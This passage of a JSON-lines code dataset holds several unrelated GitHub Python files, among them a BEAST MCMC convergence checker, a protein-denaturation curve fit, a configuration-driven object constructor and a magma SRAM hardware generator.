dest = \"beast\",\n default = \"\",\n metavar = \"path\",\n help = \"Beast 2 jar file [required]\")\n\nparser.add_option(\"-e\",\"--ess\",\n dest = \"ess\",\n default = \"\",\n metavar = \"path\",\n help = \"ESS considered sufficient [required]\")\n\nparser.add_option(\"-b\",\"--burnin\",\n dest = \"burnin\",\n default = \"\",\n metavar = \"path\",\n help = \"Percentage of log-files and tree-files to discard as burnin [required]\")\n\nparser.add_option(\"-p\",\"--pattern\",\n dest = \"pattern\",\n default = \"*.xml\",\n metavar = \"\",\n help = \"Pattern to search for (in quotes) [default = %default]\")\n\nparser.add_option(\"-m\",\"--minsamples\",\n dest = \"minsamples\",\n default = \"1000000\",\n metavar = \"\",\n help = \"Minimum number of samples [default = %default]\")\n\n(options,args) = parser.parse_args()\n\ninputpath = os.path.abspath(options.inputpath)+ \"/\"\noutputpath = os.path.abspath(options.outputpath)+ \"/\"\nbeast = os.path.abspath(options.beast)\npattern = options.pattern\ness_sufficient = int(options.ess)\nminsamples = int(options.minsamples)\nb = float(options.burnin)\nif (b > 0 and b < 1):\n\tburnin = int(round(b*100))\nelse:\n\tburnin = int(round(b))\n\nskipstats = [\"*Times*\"]\n\n\n################################################################################################################################ \n\ndef analyseESS(inputfile, skipstats = [], ess_sufficient=200): \n\n\ttol = 1e-10\n\tinsufficient_ess = []\n\n\tstatfile = open(inputfile, \"r\")\n\tstatfile.readline()\n\tfor line in statfile:\n\t\tparts = line.strip().split()\n\t\tstat_name = parts[0]\n\t\tstat_ess = float(parts[8])\n\t\tstat_95upper = float(parts[6])\n\t\tstat_95lower = float(parts[5])\n\n\t\tskip = False\n\t\tfor stat in skipstats:\n\t\t\tif (fnmatch(stat_name, stat)):\n\t\t\t\tskip = True\n\n\t\tif (not skip):\n\t\t\t#sys.stdout.write(\"\\t%s\\t%f\\n\" % (stat_name, stat_ess))\n\t\t\tif (stat_ess < ess_sufficient and stat_95upper - stat_95lower > tol):\n\t\t\t\tinsufficient_ess.append(\"%s\\t%f\" % (stat_name, stat_ess))\n\n\tstatfile.close()\n\treturn(insufficient_ess)\n#\t\n\n\ndef runLogAnalyser(inputpath, filename, outfile, beast, burnin=10):\n\n\tstart = time.time()\n\n\there = os.getcwd()\n\tos.chdir(inputpath)\n\n\tloganalyser = \"java -cp \"+beast+\" beast.util.LogAnalyser\"\n\t\t\n\tloganalyser_cmd = \"%s -b %d %s > %s\" % (loganalyser, burnin, filename, outfile)\n\n\n\tprint(loganalyser_cmd)\n\t#subprocess.check_call(loganalyser_cmd.split(\" \"))\n\n\thandle = Popen(loganalyser_cmd, stdout=None, stderr=PIPE, shell=True)\n\n\terr = handle.stderr.read()\n\tif (err != \"\"):\n\t sys.stderr.write(\"\\tWarning! Errors encountered!\\n\")\n\t #sys.stderr.write(err)\n\n\tos.chdir(here)\n\n\tend = time.time()\n\tsys.stdout.write(\"\\tLog file analysed (\"+str(end-start)+\" seconds)\\n\\n\")\n#\n\n\n\n################################################################################################################################ \nstart = time.time()\n\nif (not os.path.exists(outputpath)):\n os.mkdir(outputpath)\n\nruns = dict()\nstats = []\nfor xmlfile in sorted(os.listdir(inputpath), reverse=True):\n\tif (fnmatch(xmlfile,pattern)):\n\t\tfilename = xmlfile[:xmlfile.rfind('.')]+\"_127.log\"\n\t\tprint(filename)\n\t\tif (os.path.exists(inputpath+filename)):\t\t\t\t\n\t\t\tlogfile = open(inputpath+filename,'r')\n\t\t\tfor line in logfile:\n\t\t\t\tpass\n\t\t\tsamples = line[:line.find('\\t')]\n\n\t\t\trunLogAnalyser(inputpath, filename, outputpath+filename+\".stats\", beast, burnin)\n\n\t\t\tinsufficient_ess = analyseESS(outputpath+filename+\".stats\", skipstats, ess_sufficient)\n\t\t\tif (len(insufficient_ess) > 0):\n\t\t\t\tsys.stdout.write(\"\\tInsufficient ESS values:\\n\")\n\t\t\t\tfor s in insufficient_ess:\n\t\t\t\t\tsys.stdout.write(\"\\t\\t\"+s+\"\\n\")\n\t\t\t\n\t\t\tstats.append((filename[:filename.rfind('.')], int(samples), len(insufficient_ess)))\n\t\telse:\n\t\t\tstats.append((filename[:filename.rfind('.')], -1, -1))\n\n\n#\nstatfile = open(outputpath+\"ESS.stats\",'w')\nstatfile.write(\"Logfile\\tSamples\\tInsufficient ESS\\n\")\n\nconvfile = open(outputpath+\"Converged.stats\",'w')\nstatfile.write(\"Logfile\\tSamples\\n\")\n\nfor s in sorted(stats, key = lambda s : s[1]):\n\tif (s[1] < minsamples or s[2] > 0):\n\t\tstatfile.write(\"\\t\".join(map(str,s))+\"\\n\")\n\t\n\tif (s[2] == 0):\n\t\tconvfile.write(\"\\t\".join(map(str,s[:2]))+\"\\n\")\n\t\t\nstatfile.close()\nconvfile.close()\nend = time.time()\nprint(\"Total time taken: \"+str(end-start)+\" seconds\")","repo_name":"laduplessis/MasterSimulator","sub_path":"scripts/CheckBEAST.py","file_name":"CheckBEAST.py","file_ext":"py","file_size_in_byte":5502,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"20053402621","text":"'''\n@author: Abder-Rahman Ali, PhD\n@email: aali25@mgh.harvard.edu\n@date: 2023\n'''\n\nimport pandas as pd\nimport shutil\nimport os\n\ncsv_files = ['class_1.csv', 'class_2.csv', 'class_3.csv', 'class_4.csv', 'class_5.csv']\n\nimage_path = './data/unlabeled/'\n\nfor file in csv_files:\n df = pd.read_csv(file)\n \n # Get the class number from the file name\n class_num = file.split('_')[1].split('.')[0]\n \n # Create the directories if they don't exist\n os.makedirs(f'class_{class_num}_centroid', exist_ok=True)\n os.makedirs(f'class_{class_num}_outliers', exist_ok=True)\n os.makedirs(f'class_{class_num}', exist_ok=True)\n \n for index, row in df.iterrows():\n image_name = row['image_name']\n \n # Check if the image is a centroid\n if row['is_centroid']:\n shutil.copy(image_path + image_name, f'class_{class_num}_centroid')\n # Check if the image is an outlier\n elif row['is_outlier']:\n shutil.copy(image_path + image_name, f'class_{class_num}_outliers')\n # If the image is not a centroid or an outlier\n else:\n shutil.copy(image_path + image_name, f'class_{class_num}')","repo_name":"abderhasan/radiologist_in_the_loop_ai","sub_path":"csv_to_folders_diversity.py","file_name":"csv_to_folders_diversity.py","file_ext":"py","file_size_in_byte":1170,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"26547880292","text":"#!/usr/bin/python\r\n\r\n\"\"\"\r\nCreated on Tue Oct 22 15:11:29\r\n\r\n@Author: Juami\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom scipy.optimize import curve_fit\r\nimport matplotlib.pyplot as plt\r\n\r\nT = 277.15\t\t# Temperature in Kelvin\r\n# Curve to fit through the data points\r\ndef sigmoid(x, g, m):\r\n\t\"\"\" Sigmoidal function \"\"\"\r\n\tr = 8.314\t\t# Gas constant in J/(K mol)\r\n\tmt = 0.00006\t# 60 uM fibrils\r\n\treturn (((2*(np.exp((-(g+m*x))/(r*(T)))*(mt)))+1-np.sqrt(4*(np.exp((-(g+m*x))/(r*(T)))*(mt))+1))/(2*np.power((np.exp((-(g+m*x))/(r*(T)))*(mt)),2)))\r\n\r\n# Load data\r\ndf_PB = np.loadtxt('norm_ratio_60uM_PB.txt')\r\ndf_PBS = np.loadtxt('norm_ratio_60uM_PBS.txt')\r\n\r\n### Plotting\r\n# Colors\r\nblues = plt.get_cmap('Blues')\r\nreds = plt.get_cmap('Reds')\r\ncolors = [reds(0.4), reds(0.9), blues(0.4), blues(0.9)]\r\n\r\n# Legend labels\r\nlabels = ['PB room temperature', r'PB 4$^{\\circ}$C', 'PBS room temperature', r'PBS 4$^{\\circ}$C']\r\n\r\n# PB data\r\nx1 = df_PB[:,0]\r\ny11 = df_PB[:,1]\r\ny12 = df_PB[:,5]\r\n\r\n# PB data\r\nx2 = df_PBS[:,0]\r\ny21 = df_PBS[:,1]\r\ny22 = df_PBS[:,5]\r\n\r\nx_plot = np.linspace(0,5,100)\r\n\r\ny_fitted = []\r\ndef plot_sigmoid(x, y, color, label):\r\n\t\"\"\" fit sigmoid through through data points and add to plot \"\"\"\r\n\tpopt, pcov = curve_fit(sigmoid, x, y, bounds=([-50000, 0], [-100, 10000]))\r\n\tplt.plot(x, y, 'o', color=color)\r\n\tplt.plot(x_plot, sigmoid(x_plot, *popt), '-', linewidth=2, color=color, label=label)\r\n\ty_fitted.append(sigmoid(x_plot, *popt))\r\n\r\n# Make plot\r\nfig = plt.figure()\r\n\r\n# 'PB'\r\nT = 303.15\t\t# Temperature in Kelvin 30C\r\nplot_sigmoid(x1, y11, colors[0], labels[0])\r\n\r\n# 'PB'\r\nT = 277.15\t\t# Temperature in Kelvin 4C\r\nplot_sigmoid(x1, y12, colors[1], labels[1])\r\n\r\n# 'PBS'\r\nT = 303.15 \t# Temperature in Kelvin 30C\r\nplot_sigmoid(x2, y21, colors[2], labels[2])\r\n\r\n# 'PBS'\r\nT = 277.15\t\t# Temperature in Kelvin 4C\r\nplot_sigmoid(x2, y22, colors[3], labels[3])\r\n\r\ndiff_PB = y_fitted[1] - y_fitted[0]\r\ndiff_PBS = y_fitted[3] - y_fitted[2]\r\n#plt.plot(x_plot, diff_PB, color='red')\r\n#plt.plot(x_plot, diff_PBS, color='blue')\r\n\r\n#plt.title(r'$\\alpha$-synuclein denaturation at different temperatures')\r\nplt.xlabel('Urea concentration (M)', fontsize=14)\r\nplt.ylabel('Fraction monomeric', fontsize=14)\r\nplt.legend(loc=0)\r\nplt.savefig('salt_urea_denaturation.pdf')\r\nplt.show()\r\n\r\n#print y_fitted","repo_name":"ibivu/amyloid_hydrophobicity","sub_path":"PythonScripts/ionic_strength/ions_urea.py","file_name":"ions_urea.py","file_ext":"py","file_size_in_byte":2275,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"32432279586","text":"import json\nimport uuid\n\nfrom GMStrickAuto import *\n\n\ntasks = []\n\nwith open('Files/Tasks.txt', 'r') as file:\n for i in file:\n tasks.append(i.rstrip())\n\n\nSession = sessionmaker(bind=engine)\nsession = Session()\n\nfor i in tasks:\n\n name = i.split('|')[0]\n tasks_ = i.split('|')[1].split('---')[:-1]\n claimTask = i.split('|')[1].split('---')[-1]\n\n print(tasks_, claimTask)\n\n task = Task(name=name)\n\n BSs = []\n for k in tasks_:\n try:\n data = json.loads(k)\n BS = BountyStep(bounty_step_id = data['0']['json']['bountyStepId'],\n input_data = None if data['0']['json']['inputData'] == None else json.dumps(data['0']['json']['inputData']),\n user_address_id = data['0']['json']['userAddressId'])\n BSs.append(BS)\n except KeyError:\n print(data)\n\n task.bounty_steps = BSs\n\n BC = BountyClaim(TaskID=json.loads(claimTask)['0']['json']['taskId'])\n task.bounty_claims = [BC]\n\n session.add(task)\n session.commit()\n\nsession.close()\n\n","repo_name":"folckol/Layer3","sub_path":"AddTasks.py","file_name":"AddTasks.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35216276084","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('tykurllog', '0009_auto_20151122_2145'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='loggedurl',\n name='repeats',\n field=models.PositiveIntegerField(default=0),\n ),\n ]\n","repo_name":"tykling/tykurllog","sub_path":"src/tykurllog/migrations/0010_loggedurl_repeats.py","file_name":"0010_loggedurl_repeats.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"22173361853","text":"import sys\nfrom sys import stderr\nimport os\n\n# Any modules you need to construct objects from should be placed in an\n# imports file\n_PREFIX = os.environ.get(\"CONSTRUCT_PY_DIR\", \".\")\n_INCLUDES_FILE = f\"{_PREFIX}/construct_py_includes.py\"\nif os.path.exists(_INCLUDES_FILE):\n print(f\"Construct.py: using includes file {_INCLUDES_FILE}\", file=stderr)\n exec(open(_INCLUDES_FILE).read())\n\n_IMPORTS_FILE = f\"{_PREFIX}/construct_py_imports.py\"\nif os.path.exists(_IMPORTS_FILE):\n sys.path.append(_IMPORTS_FILE)\n print(f\"Construct.py: using imports file {_IMPORTS_FILE}\",\n file=stderr)\n from construct_py_imports import *\n\n# Import the main module?\n_USE_MAIN = os.environ.get(\"CONSTRUCT_PY_USE_MAIN\", \"\") != \"\"\nif _USE_MAIN:\n # Alternatively, you can import the main module, in which case the\n # program will \"just work\". Two caveats to this approach:\n # 1) This can very easily turn your program into a pretzel\n # 2) In the configuration files, modules need to be prefixed with __main__\n import __main__\n\n\nclass _Custom:\n def __init__(self):\n self._custom_ops = {}\n\n def _register(self, type_: str, f):\n self._custom_ops[type_] = f\n\n def _custom(self, type_: str):\n if type_ not in self._custom_ops:\n return eval(type_)\n return self._custom_ops[type_]\n\n\n_custom = _Custom()\n\n\ndef _construct(type_: str):\n return _custom._custom(type_)\n\n\ndef register(type_: str, f):\n _custom._register(type_, f)\n\n\ndef constant(x):\n return x\n\n\ndef generic(x):\n return _eval(x)\n\n\ndef side_effect(fn, *args, **kwargs):\n if isinstance(fn, str):\n fn = _eval(fn)\n if isinstance(fn, str):\n fn = eval(fn)\n\n fn(*args, **kwargs)\n\n if len(args) == 1 and len(kwargs) == 0:\n return args[0]\n elif len(args) == 0 and len(kwargs) == 1:\n key = list(kwargs.keys())[0]\n return kwargs[key]\n\n return {\"args\": args, \"kwargs\": kwargs}\n\n\ndef arg_at(x, to_index):\n args = to_index[\"args\"]\n return args[x]\n\n\ndef kwarg_at(x, to_index):\n kwargs = to_index[\"kwargs\"]\n return kwargs[x]\n\n\n# Register some custom functions\nregister(\"constant\", constant)\nregister(\"generic\", generic)\nregister(\"side_effect\", side_effect)\nregister(\"arg_at\", arg_at) # TODO: Needs documentation\nregister(\"kwarg_at\", kwarg_at) # TODO: Needs documentation\n\n\ndef parse(config: dict):\n return _parse(config, True)\n\n\ndef _parse(config: dict, top_level: bool = True):\n keys = list(config.keys())\n\n if \"type\" in keys:\n keys.remove(\"type\")\n if \"args\" in keys:\n keys.remove(\"args\")\n if \"kwargs\" in keys:\n keys.remove(\"kwargs\")\n\n if len(keys) == 1 and '0' in keys and top_level:\n # Top-level of configuration dict\n key = keys[0]\n\n if not isinstance(config[key], dict):\n raise ValueError(f\"expected a dict but got {type(config[key])}\")\n return _parse(config[key], False)\n\n # Get positions of positional arguments\n args = []\n keys = sorted(keys)\n int_keys = list(filter(lambda x: x.isdecimal(), keys))\n\n # Construct positional arguments\n for k in int_keys:\n args.append(_parse(config[k], False))\n\n # Ensure only one form of positional argument was given\n if \"args\" in config.keys() and args:\n raise ValueError(\"args can only be specified in one form\")\n elif len(args) == 0 and \"args\" in config.keys():\n args = list(map(lambda x: _eval(x), config[\"args\"]))\n\n # Construct all kwargs\n kwargs = {}\n str_keys = filter(lambda x: not x.isdecimal(), keys)\n for k in str_keys:\n kwargs[k] = _parse(config[k], False)\n\n # Combine both methods of kwargs\n if \"kwargs\" in config.keys():\n for k in config[\"kwargs\"]:\n if k in kwargs:\n raise KeyError(f\"cannot have duplicate key {k})\")\n else:\n kwargs[k] = _eval(config[\"kwargs\"][k])\n\n # Construct the object\n constructor = _construct(config[\"type\"])\n return constructor(*args, **kwargs)\n\n\ndef _eval(expr):\n if isinstance(expr, str) and len(expr) > 2 and expr.startswith(\"<-\"):\n return eval(expr[2:])\n return expr\n\n\ndef set_at(config: dict, value, *positions):\n \"\"\"\n Set the argument in the call tree at position `*positions` to value.\n\n The index for the top level object needs never be specified. That is, if\n any index is specified, it is taken to index the arguments to the top level\n object, not the single top level object itself.\n\n Each consecutive value in `positions` refers to either an argument or\n keyword argument. If the value is an int, then it is taken to refer to a\n positional argument. If it is a string, then the value is taken to refer to\n a keyword argument. For example, if `positions = (0, \"y\", 3)`, then\n calling `set_at` with this `positions` would change the value of the third\n argument to the keyword argument `y` of the first argument of the\n top-level object. `positions` is just a simple indexing mechanism, similar\n to how lists and dicts are indexed.\n\n Parameters\n ----------\n config : dict\n The configuration dictionary to modify before parsing\n value : any\n The value to set\n *positions : int or str\n The position of the argument to set to `value`\n\n Returns\n -------\n dict\n The modified configuration dictionary\n\n Examples\n --------\n ```python\n >>> config = {\n '0': {\n 'type': 'env.mountain_car.MountainCar',\n 'args': [\"SEED\", 0.99],\n 'kwargs': {\n 'continuous_action': False,\n },\n },\n }\n >>> set_at(config, 1, 0)\n >>> set_at(config, True, \"continuous_action\")\n >>> config\n {\n '0': {\n 'type': 'env.mountain_car.MountainCar',\n 'args': [1, 0.99],\n 'kwargs': {\n 'continuous_action': True,\n },\n },\n }\n >>> set_at(config, \"what did I just do?\")\n >>> config\n {'0': \"what did I just do?\"}\n ```\n \"\"\"\n positions = [0] + list(positions)\n return _set_at(config, value, *positions)\n\n\ndef _set_at(config: dict, value, *positions):\n if len(positions) == 0:\n config[0] = value\n\n if isinstance(positions, tuple):\n position = positions[0]\n else:\n position = positions\n\n if len(positions) == 1:\n config[position] = value\n return config\n\n if isinstance(position, int):\n position = str(position)\n\n if isinstance(positions[1], int):\n if \"args\" in config[position]:\n _set_at(config[position][\"args\"], value, *positions[1:])\n else:\n _set_at(config[position], value, *positions[1:])\n else:\n if \"kwargs\" in config[position]:\n _set_at(config[position][\"kwargs\"], value, *positions[1:])\n else:\n _set_at(config[position], value, *positions[1:])\n","repo_name":"samuelfneumann/Construct-Py","sub_path":"construct_py/construct_py.py","file_name":"construct_py.py","file_ext":"py","file_size_in_byte":6982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38773637081","text":"import operator as op\n\nimport magma as m\n\n# I am not making the read latency a generator param\n# as it is not parameter of Chisel provided by Gedeon\nREAD_LATENCY: int = 0\n\n\nclass SRAMBase(m.Generator2):\n # *args, **kwargs for inheritance reasons\n def __init__(\n self,\n addr_width: int,\n data_width: int,\n has_byte_enable: bool = False,\n *args,\n **kwargs,\n ):\n self._init_attrs(\n addr_width, data_width, has_byte_enable, *args, **kwargs\n )\n self._init_io()\n self._instance_subcomponents()\n self._connect()\n\n def _init_attrs(\n self, addr_width: int, data_width: int, has_byte_enable: bool, *args,\n **kwargs\n ):\n\n if addr_width <= 0:\n raise ValueError()\n\n if data_width <= 0:\n raise ValueError()\n\n if has_byte_enable:\n raise NotImplementedError('Byte Enable not currently supported')\n\n self.addr_width = addr_width\n self.data_width = data_width\n self.has_byte_enable = has_byte_enable\n\n def _init_io(self):\n T = m.Bits[self.data_width]\n\n self.io = m.IO(\n CEn=m.In(m.Enable),\n WDATA=m.In(T),\n WEn=m.In(m.Enable),\n RDATA=m.Out(T),\n REn=m.In(m.Enable),\n ) + m.ClockIO()\n\n if self.has_byte_enable:\n self.io += m.IO(WBEn=m.Bits[data_width / 8])\n\n def _instance_subcomponents(self):\n self.memory = m.Memory(\n 1 << self.addr_width,\n m.Bits[self.data_width],\n read_latency=READ_LATENCY,\n has_read_enable=False\n )()\n\n def _connect(self):\n pass\n\n def _read(self, addr):\n self.memory.RADDR @= addr\n return self.memory.RDATA\n\n def _write(self, addr, data):\n self.memory.WE @= self.we\n self.memory.WADDR @= addr\n self.memory.WDATA @= data\n\n @property\n def ce(self):\n return ~self.io.CEn\n\n @property\n def re(self):\n return self.ce & self.io.REn\n\n @property\n def we(self):\n return self.ce & self.io.WEn\n\n\nclass SRAMSingle(SRAMBase):\n def _init_io(self):\n super()._init_io()\n self.io += m.IO(ADDR=m.In(m.Bits[self.addr_width]), )\n\n def _connect(self):\n super()._connect()\n self.io.RDATA @= self._read(self.io.ADDR)\n self._write(self.io.ADDR, self.io.WDATA)\n\n\nclass SRAMDouble(SRAMBase):\n def _init_io(self):\n super()._init_io()\n self.io += m.IO(\n WADDR=m.In(m.Bits[self.addr_width]),\n RADDR=m.In(m.Bits[self.addr_width]),\n )\n\n def _connect(self):\n super()._connect()\n self.io.RDATA @= self._read(self.io.RADDR)\n self._write(self.io.WADDR, self.io.WDATA)\n\n\ndef _binary_to_unary(data: m.Bits):\n out_size = 1 << data.size\n return m.Bits[out_size](1) << data.zext(out_size - data.size)\n\n\ndef _tree_reduce(f, lst):\n n = len(lst)\n if n == 1:\n return lst[0]\n elif n == 2:\n return f(*lst)\n else:\n assert n >= 3\n return f(_tree_reduce(f, lst[:n // 2]), _tree_reduce(f, lst[n // 2:]))\n\n\ndef _build_mux_tree(lst):\n # Takes a list of (predicate, data)\n # returns a mux tree equivelent to:\n # if predicate[0]:\n # return data[0]\n # elif prdicate[1]:\n # return data[1]\n # ...\n # else:\n # return data[-1]\n n = len(lst)\n if n == 1:\n return lst[0][1]\n else:\n assert n >= 2\n top = lst[:n // 2]\n bot = lst[n // 2:]\n cond = _tree_reduce(op.or_, [pred for pred, _ in top])\n return cond.ite(_build_mux_tree(top), _build_mux_tree(bot))\n\n\nclass SRAMRedundancyMixin:\n def __init__(\n self,\n addr_width: int,\n data_width: int,\n has_byte_enable: bool = False,\n col_width: int = 4,\n num_r_cols: int = 1,\n debug: bool = False,\n *args,\n **kwargs,\n ):\n # All widths are number of bits\n # num_r_cols is number of redundancy columns\n super().__init__(\n addr_width, data_width, has_byte_enable, col_width, num_r_cols,\n debug, *args, **kwargs\n )\n\n def _init_attrs(\n self, addr_width: int, data_width: int, has_byte_enable: bool,\n col_width: int, num_r_cols: int, debug: bool, *args, **kwargs\n ):\n super()._init_attrs(\n addr_width, data_width, has_byte_enable, debug, *args, **kwargs\n )\n\n if col_width <= 0:\n raise ValueError()\n\n if data_width % col_width != 0:\n raise ValueError()\n\n if num_r_cols > data_width // col_width:\n raise ValueError(\"More redundancy than virtual columns\")\n\n self.col_width = col_width\n self.num_r_cols = num_r_cols\n self.debug = debug\n self.redundancy_addr_t = m.Bits[m.bitutils.clog2safe(self.num_v_cols)]\n\n @property\n def num_v_cols(self):\n # Number of virtual columns\n return self.data_width // self.col_width\n\n @property\n def num_p_cols(self):\n # Number of physical columns\n return self.num_v_cols + self.num_r_cols\n\n def _init_io(self):\n super()._init_io()\n self.io += m.IO(\n RCE=m.In(m.Bits[self.num_r_cols]),\n **{\n f'RCF{i}A':\n m.In(self.redundancy_addr_t)\n for i in range(self.num_r_cols)\n }\n )\n\n def _instance_subcomponents(self):\n self.cols = [\n m.Memory(\n 1 << self.addr_width,\n m.Bits[self.col_width],\n read_latency=READ_LATENCY,\n has_read_enable=False,\n )() for _ in range(self.num_p_cols)\n ]\n\n mask_t = m.Bits[self.num_v_cols]\n zero = mask_t(0)\n RCFs = [\n self.io.RCE[i].ite(\n _binary_to_unary(getattr(self.io, f'RCF{i}A')), zero\n ) for i in range(self.num_r_cols)\n ]\n\n self.mask = _tree_reduce(mask_t.bvor, RCFs)\n\n def _read(self, addr):\n outputs = []\n # wire up all the read addresses and collect the outputs\n for mem in self.cols:\n mem.RADDR @= addr\n outputs.append(mem.RDATA)\n\n # The following function is meant to build this pattern:\n # shifts[k].ite(\n # outputs[i+k+1],\n # shifts[k-1].ite(\n # outputs[i+k],\n # shifts[k-2].ite(\n # ...,\n # shifts[0].ite(\n # outputs[i+1],\n # outputs[i]\n # )\n # )\n # )\n # )\n def build_ite(shifts, outputs, i):\n lst = [(True, outputs[i])]\n for idx, shift in enumerate(shifts):\n lst.append((shift, outputs[i + idx + 1]))\n lst.reverse()\n return _build_mux_tree(lst)\n\n shifts = [m.Bit(0) for _ in range(self.num_r_cols)]\n rdata = None\n\n for i in range(self.num_v_cols):\n prev = m.Bit(1)\n for idx in range(self.num_r_cols):\n shifts[idx] |= prev & self.mask[i]\n prev = shifts[idx]\n\n data = build_ite(shifts, outputs, i)\n\n if rdata is None:\n rdata = data\n else:\n rdata = rdata.concat(data)\n\n assert isinstance(rdata, m.Bits[self.data_width])\n return rdata\n\n def _write(self, addr, data):\n # break the inputs in chuncks\n inputs = [\n data[i * self.col_width:(i + 1) * self.col_width]\n for i in range(self.num_v_cols)\n ]\n\n assert all(isinstance(x, m.Bits[self.col_width]) for x in inputs)\n\n # The following function is meant to build this pattern:\n # if i == 0:\n # retun inputs[i]\n # elif i == 1:\n # return shifts[0].ite(inputs[i-1], inputs[i])\n # elif i < self.num_v_cols:\n # return shifts[1].ite(\n # inputs[i-2],\n # shifts[0].ite(inputs[i-1], inputs[i])\n # )\n # elif i == self.num_v_cols:\n # return shifts[1].ite(inputs[i-2], inputs[i-1])\n # else:\n # return inputs[i-2]\n #\n # Not sure how to generalize it with ... above is for num_r_cols = 2\n # But basically there are 3 cases,\n # i < num_r_cols:\n # we select from the first i chuncks. Use first shift bits.\n # i < num_v_cols:\n # The \"normal\" case where the ith column consumes one preceding\n # num_r_col+1 chunks. Use all the shift bits.\n # i >= num_v_cols:\n # The redundancy columns which must have a shift enabled to be\n # relevant hence we use last shift bits.\n def build_ite(shits, inputs, i):\n max_inputs = len(shifts) + 1\n if i < self.num_r_cols:\n offsets = [k for k in range(i + 1)]\n assert len(offsets) < max_inputs\n shift_offset = 0\n elif i < self.num_v_cols:\n offsets = [k for k in range(self.num_r_cols + 1)]\n assert len(offsets) == max_inputs\n shift_offset = 0\n else:\n offsets = [\n k for k in\n range(i - self.num_v_cols + 1, self.num_r_cols + 1)\n ]\n assert len(offsets) < max_inputs\n shift_offset = max_inputs - len(offsets)\n\n lst = [(True, inputs[i - offsets[0]])]\n for idx, offset in enumerate(offsets[1:]):\n lst.append((shifts[idx + shift_offset], inputs[i - offset]))\n\n lst.reverse()\n return _build_mux_tree(lst)\n\n shifts = [m.Bit(0) for _ in range(self.num_r_cols)]\n for i, mem in enumerate(self.cols):\n # broadcast the addr\n mem.WADDR @= addr\n if i < self.num_v_cols:\n prev = m.Bit(1)\n for idx in range(self.num_r_cols):\n shifts[idx] |= prev & self.mask[i]\n prev = shifts[idx]\n\n # this logic isn't strictly necessary\n if i < self.num_v_cols:\n # only enable normal cols if they aren't masked\n mem.WE @= self.we & ~self.mask[i]\n else:\n # only enable redundancy cols if they are used\n mem.WE @= self.we & shifts[i - self.num_v_cols]\n\n mem.WDATA @= build_ite(shifts, inputs, i)\n\n\nclass SRAMModalMixin:\n class State(m.Enum):\n Normal = 0\n Retention = 1\n TotalRetention = 2\n DeepSleep = 3\n\n def _init_attrs(\n self, addr_width: int, data_width: int, has_byte_enable: bool,\n debug: bool, *args, **kwargs\n ):\n super()._init_attrs(\n addr_width, data_width, has_byte_enable, debug, *args, **kwargs\n )\n\n self.debug = debug\n\n def _init_io(self):\n super()._init_io()\n self.io += m.IO(\n deep_sleep=m.In(m.Bit),\n power_gate=m.In(m.Bit),\n wake_ack=m.Out(m.Bit),\n )\n if self.debug:\n self.io += m.IO(current_state=m.Out(type(self).State))\n\n @property\n def _current_state(self):\n return type(self).State([self.io.deep_sleep, self.io.power_gate])\n\n @property\n def _in_normal(self):\n return self._current_state == type(self).State.Normal\n\n @property\n def ce(self):\n return super().ce & self._in_normal & self.boot_reg.O\n\n def _instance_subcomponents(self):\n super()._instance_subcomponents()\n self.Q_reg = m.Register(\n T=m.Bits[self.data_width],\n has_enable=True,\n )()\n self.boot_reg = m.Register(init=m.Bit(0), )()\n\n def _connect(self):\n super()._connect()\n # Not sure if this correct\n # boot reg blocks enable for a cycle after we enter normal mode\n self.io.wake_ack @= self._in_normal\n self.boot_reg.I @= self._in_normal\n\n if self.debug:\n self.io.current_state @= self._current_state\n\n def _read(self, addr):\n self.Q_reg.I @= super()._read(addr)\n self.Q_reg.CE @= self.re\n return self.Q_reg.O\n\n\nclass SRAMDM(SRAMModalMixin, SRAMDouble):\n pass\n\n\nclass SRAMSM(SRAMModalMixin, SRAMSingle):\n pass\n\n\nclass SRAMDR(SRAMRedundancyMixin, SRAMDouble):\n pass\n\n\nclass SRAMSR(SRAMRedundancyMixin, SRAMSingle):\n pass\n\n\nclass SRAMSMR(SRAMModalMixin, SRAMRedundancyMixin, SRAMSingle):\n pass\n\n\nclass SRAMDMR(SRAMModalMixin, SRAMRedundancyMixin, SRAMDouble):\n pass\n\n\n# Base -> Features -> Class\nSRAM_FEATURE_TABLE = {\n SRAMSingle: {\n frozenset(): SRAMSingle,\n frozenset((SRAMModalMixin, )): SRAMSM,\n frozenset((SRAMRedundancyMixin, )): SRAMSR,\n frozenset((\n SRAMModalMixin,\n SRAMRedundancyMixin,\n )): SRAMSMR,\n },\n SRAMDouble: {\n frozenset(): SRAMDouble,\n frozenset((SRAMModalMixin, )): SRAMDM,\n frozenset((SRAMRedundancyMixin, )): SRAMDR,\n frozenset((\n SRAMModalMixin,\n SRAMRedundancyMixin,\n )): SRAMDMR,\n },\n}\n\n\n","repo_name":"leonardt/smart-components","sub_path":"onyx/onyx_sram_subsystem/mock_mem.py","file_name":"mock_mem.py","file_ext":"py","file_size_in_byte":13329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"12566922709","text":"from curses import longname\n\n\ndef lengthOfLongestSubstring(s: str) -> int:\n if s == '': return 0\n c_map = {} # Keep the last index of characters\n p = -1 # pointer to index we start to count from\n max_length = 0\n for i in range(len(s)):\n c = s[i]\n # if c is in the current substring\n if c in c_map and p < c_map[c]:\n # update the pointer\n p = c_map[c]\n else:\n # else, update the max length\n max_length = i - p if max_length < i-p else max_length\n # update the last index of c\n c_map[c] = i\n \n return max_length\n\nprint(lengthOfLongestSubstring('pwwkew'))","repo_name":"eladsadeh/code-challenges","sub_path":"python/longest_substring.py","file_name":"longest_substring.py","file_ext":"py","file_size_in_byte":707,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} 